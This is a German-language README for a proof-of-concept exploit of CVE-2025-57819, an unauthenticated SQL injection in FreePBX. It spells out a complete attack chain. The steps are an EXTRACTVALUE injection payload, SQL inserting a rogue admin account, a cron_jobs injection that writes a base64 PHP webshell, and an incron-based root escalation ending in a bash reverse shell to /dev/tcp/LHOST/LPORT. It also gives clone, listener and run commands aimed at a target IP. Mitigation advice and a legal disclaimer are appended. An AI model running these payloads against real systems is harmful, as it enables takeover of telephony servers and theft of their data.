
Proof-of-Concept-Exploit für CVE-2025-57819, eine unauthentifizierte SQL-Injection in FreePBX, die Admin-Konto-Erstellung, Webshell-Deployment und Root-Eskalation zu RCE verkettet.
Nur für Bildungs- und Sicherheitsforschungszwecke - Siehe rechtlichen Hinweis unten
Exploitation-Proof-of-Concept für CVE-2025-57819, eine kritische unauthentifizierte SQL-Injection-Schwachstelle in FreePBX, die Remote-Code-Ausführung ermöglicht. Dieser PoC wird nach der Veröffentlichung offizieller Patches ausschließlich für Sicherheitsforschung und autorisierte Tests veröffentlicht.
FreePBX-Versionen 15.x, 16.x und 17.x (unterhalb der gepatchten Versionen) sind anfällig für unauthentifizierte SQL-Injection im AJAX-Handler des Endpoint-Moduls. Diese Schwachstellenkette ermöglicht:
| CVE-ID | CVE-2025-57819 |
| Typ | Unauthentifizierte SQL-Injection (Fehlerbasiert) |
| CVSS | 9.8 / 10.0 (Kritisch) |
| Betroffen | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| Gepatcht | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | Ja (29. August 2025) |
GET /admin/ajax.php?brand=<PAYLOAD>
Der Parameter brand im AJAX-Handler des Endpoint-Moduls akzeptiert Benutzereingaben ohne Validierung, was zu fehlerbasierter SQL-Injection führt.
SQLi mit fehlerbasierter Extraktion über EXTRACTVALUE() verifizieren, um den Datenbanknamen auszulesen:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Neuen administrativen Benutzer in asterisk.ampusers einfügen:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
Mit gültigen Admin-Anmeldedaten authentifiziert sich der Exploit bei FreePBX und etabliert eine authentifizierte Sitzung. Session-Cookies werden gespeichert und für alle nachfolgenden authentifizierten Anfragen verwendet.
Webshell-Befehl in asterisk.cron_jobs injizieren:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
Der FreePBX-Cron-Runner führt den Befehl als Benutzer asterisk aus und legt die PHP-Webshell ab.
Die PHP-Webshell wird unter /var/www/html/shell.php bereitgestellt:
<?php system($_GET['cmd']); ?>
Der Exploit fragt die Webshell ab, bis sie aktiviert ist, und erreicht RCE als Benutzer asterisk (uid=999).
Wenn incron auf dem Ziel konfiguriert ist:
/var/spool/asterisk/incron/ erstellenincrond (läuft als root) erkennt die Dateierstellung/usr/bin/sysadmin_manager mit dem Trigger-Dateinamen aufsysadmin_manager validiert die GPG-Signatur und leitet an den fwconsole-commands-Hook weiter/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1Ergebnis: Root-Shell auf dem Reverse-Listener (falls incron verfügbar).
brandasterisk.cron_jobs führt Befehle als asterisk ausgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| Version | Status |
|---|---|
| 15.0.0 - 15.0.65 | Anfällig |
| 15.0.66+ | Gepatcht |
| 16.0.0 - 16.0.88 | Anfällig |
| 16.0.89+ | Gepatcht |
| 17.0.0 - 17.0.2 | Anfällig |
| 17.0.3+ | Gepatcht |
Sofort:
/admin/ajax.php aus nicht vertrauenswürdigen Netzwerken einschränkensystemctl disable incrondDauerhaft: Auf gepatchte Versionen aktualisieren: 15.0.66+, 16.0.89+ oder 17.0.3+
⚠️ HAFTUNGSAUSSCHLUSS
Dieses Proof of Concept wird AUSSCHLIESSLICH FÜR AUTORISIERTE SICHERHEITSTESTS UND BILDUNGSZWECKE bereitgestellt. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
SIE MÜSSEN FOLGENDES EINHALTEN:
VERBOTENE NUTZUNG:
HAFTUNGSVERZICHT: Der Autor ist nicht verantwortlich für:
Diese Schwachstelle ist:
JazzTheRabbit
MIT License